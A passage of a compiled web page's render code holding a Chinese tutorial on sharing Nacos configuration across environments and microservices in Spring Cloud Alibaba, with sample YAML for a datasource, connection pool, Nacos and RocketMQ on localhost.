"),a("p",[s._v("一般情况下,开发项目的过程中会包含:开发环境、测试环境、预发布环境和生成环境,每个环境中的配置大部分是相同的,有少部分配置不同,如果我们能够将大部分相同的配置抽取出来,让同一个微服务在不同的环境中共享,则能够大大降低我们的维护成本。")]),s._v(" "),a("p",[s._v("另外,如果使用的是相同的技术栈的话,对于每个微服务来说,可能大部分的配置也是相同的,如果我们将这些相同的配置抽取出来让各个微服务共享,则能够进一步降低维护成本。")]),s._v(" "),a("p",[s._v("所以,实现配置共享可以从 "),a("strong",[s._v("单服务多环境配置和多服务配置")]),s._v(" 两个角度来思考。")]),s._v(" "),a("h3",{attrs:{id:"单服务多环境实现共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#单服务多环境实现共享"}},[s._v("#")]),s._v(" 单服务多环境实现共享")]),s._v(" "),a("p",[s._v("实现单个微服务在多个不同环境中的配置共享比较简单,只要在Nacos中配置一个以"),a("code",[s._v("spring.application.name")]),s._v("为Data ID的配置文件,并且将这个微服务在所有环境中公共的配置放进去即可。")]),s._v(" "),a("p",[a("strong",[s._v("注意:这里我们以用户微服务为例进行实现。")])]),s._v(" "),a("p",[s._v("(1)在Nacos中新建一个以server-user.yaml为Data ID的配置,并且将用户微服务在各个环境中共有的配置复制进去,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-022","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-022.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("其中,我们假设用户微服务在多个环境下公共的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8060")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("servlet")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("context-path")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" /user\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("datasource")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("driver-class-name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.mysql.cj.jdbc.Driver\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("url")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" jdbc"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("mysql"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("//localhost"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("3306/shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("?")]),s._v("useSSL=false"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("&useUnicode=true&characterEncoding=utf-8&allowMultiQueries=true&serverTimezone=Asia/Shanghai")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("platform")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" mysql\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.alibaba.druid.pool.DruidDataSource\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 下面为连接池的补充设置,应用到上面所有数据源中")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 初始化大小,最小,最大")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("initialSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxActive")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置获取连接等待超时的时间")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxWait")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("60000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("timeBetweenEvictionRunsMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置一个连接在池中最小生存的时间,单位是毫秒")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minEvictableIdleTimeMillis")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3600000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("validationQuery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" select 1 from dual\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testWhileIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnBorrow")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("testOnReturn")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("false")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 打开PSCache,并且指定每个连接上PSCache的大小")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("poolPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxPoolPreparedStatementPerConnectionSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxOpenPreparedStatements")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置监控统计拦截的filters,去掉后监控界面sql无法统计,'wall'用于防火墙")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("filters")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" stat\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("discovery")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("http")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("encoding")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("enabled")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("charset")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" UTF"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("force")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mybatis-plus")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("global-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("id-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" auto\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("field-strategy")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" not"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("empty\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("table-underline")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token boolean important"}},[s._v("true")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("db-type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" oracle\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("logic-not-delete-value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("mapper-locations")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" classpath"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("/mapper/"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("*.xml")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("configuration")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("jdbc-type-for-null")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'null'")]),s._v("\n\n\n"),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br"),a("span",{staticClass:"line-number"},[s._v("30")]),a("br"),a("span",{staticClass:"line-number"},[s._v("31")]),a("br"),a("span",{staticClass:"line-number"},[s._v("32")]),a("br"),a("span",{staticClass:"line-number"},[s._v("33")]),a("br"),a("span",{staticClass:"line-number"},[s._v("34")]),a("br"),a("span",{staticClass:"line-number"},[s._v("35")]),a("br"),a("span",{staticClass:"line-number"},[s._v("36")]),a("br"),a("span",{staticClass:"line-number"},[s._v("37")]),a("br"),a("span",{staticClass:"line-number"},[s._v("38")]),a("br"),a("span",{staticClass:"line-number"},[s._v("39")]),a("br"),a("span",{staticClass:"line-number"},[s._v("40")]),a("br"),a("span",{staticClass:"line-number"},[s._v("41")]),a("br"),a("span",{staticClass:"line-number"},[s._v("42")]),a("br"),a("span",{staticClass:"line-number"},[s._v("43")]),a("br"),a("span",{staticClass:"line-number"},[s._v("44")]),a("br"),a("span",{staticClass:"line-number"},[s._v("45")]),a("br"),a("span",{staticClass:"line-number"},[s._v("46")]),a("br"),a("span",{staticClass:"line-number"},[s._v("47")]),a("br"),a("span",{staticClass:"line-number"},[s._v("48")]),a("br"),a("span",{staticClass:"line-number"},[s._v("49")]),a("br"),a("span",{staticClass:"line-number"},[s._v("50")]),a("br"),a("span",{staticClass:"line-number"},[s._v("51")]),a("br"),a("span",{staticClass:"line-number"},[s._v("52")]),a("br"),a("span",{staticClass:"line-number"},[s._v("53")]),a("br"),a("span",{staticClass:"line-number"},[s._v("54")]),a("br"),a("span",{staticClass:"line-number"},[s._v("55")]),a("br"),a("span",{staticClass:"line-number"},[s._v("56")]),a("br"),a("span",{staticClass:"line-number"},[s._v("57")]),a("br"),a("span",{staticClass:"line-number"},[s._v("58")]),a("br"),a("span",{staticClass:"line-number"},[s._v("59")]),a("br"),a("span",{staticClass:"line-number"},[s._v("60")]),a("br"),a("span",{staticClass:"line-number"},[s._v("61")]),a("br"),a("span",{staticClass:"line-number"},[s._v("62")]),a("br"),a("span",{staticClass:"line-number"},[s._v("63")]),a("br")])]),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(2)将Nacos中用户微服务在开发环境下的配置server-user-dev.yaml修改成如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("author")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" binghe_dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-023","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-023.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(3)在Nacos中添加用户微服务在测试环境下的配置server-user-test.yaml,配置中的主要内容如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("author")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" binghe_test\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("具体如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-024","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-024.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(4)此时Nacos中的配置如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-025","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-025.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(5)查看用户微服务中bootstrap.yml文件的配置,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("application")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" server"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("user\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("cloud")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("nacos")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server-addr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8848")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("file-extension")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" yaml\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" user_group\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" dev\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("可以看到,此时bootstrap.yml文件中配置的是环境是dev,表示开发环境。")]),s._v(" "),a("p",[s._v("(6)启动用户微服务和网关服务,在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-026","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-026.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,正确获取到了Nacos中server-user-dev.yaml配置中的"),a("code",[s._v("author.name")]),s._v("的值。")]),s._v(" "),a("p",[s._v("(7)将用户微服务的bootstrap.yml文件中的环境变量修改成test,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("profiles")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("active")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" test\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br")])]),a("p",[s._v("(8)重启用户微服务,在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-027","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-027.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,正确获取到了Nacos中server-user-test.yaml配置中的"),a("code",[s._v("author.name")]),s._v("的值。")]),s._v(" "),a("p",[s._v("综上:我们正确实现了单个微服务在多个不同环境下的公共配置的共享操作。")]),s._v(" "),a("h3",{attrs:{id:"多服务配置实现共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#多服务配置实现共享"}},[s._v("#")]),s._v(" 多服务配置实现共享")]),s._v(" "),a("p",[s._v("不同的微服务之间实现公共的配置共享也比较简单,在Nacos中定义一个公共配置,然后在当前的配置中引入即可。具体的实现步骤如下所示。")]),s._v(" "),a("p",[s._v("(1)在Nacos中新建一个以server-all.yaml为Data ID的配置,配置中的主要内容为用户微服务、商品微服务和订单微服务共有的配置,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("spring")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("datasource")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("driver-class-name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.mysql.cj.jdbc.Driver\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("url")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" jdbc"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("mysql"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("//localhost"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("3306/shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("?")]),s._v("useSSL=false"),a("span",{pre:!0,attrs:{class:"token important"}},[s._v("&useUnicode=true&characterEncoding=utf-8&allowMultiQueries=true&serverTimezone=Asia/Shanghai")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("username")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("password")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" root\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("platform")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" mysql\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("type")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" com.alibaba.druid.pool.DruidDataSource\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 下面为连接池的补充设置,应用到上面所有数据源中")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 初始化大小,最小,最大")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("initialSize")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("minIdle")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxActive")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 配置获取连接等待超时的时间")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("maxWait")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("60000")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# 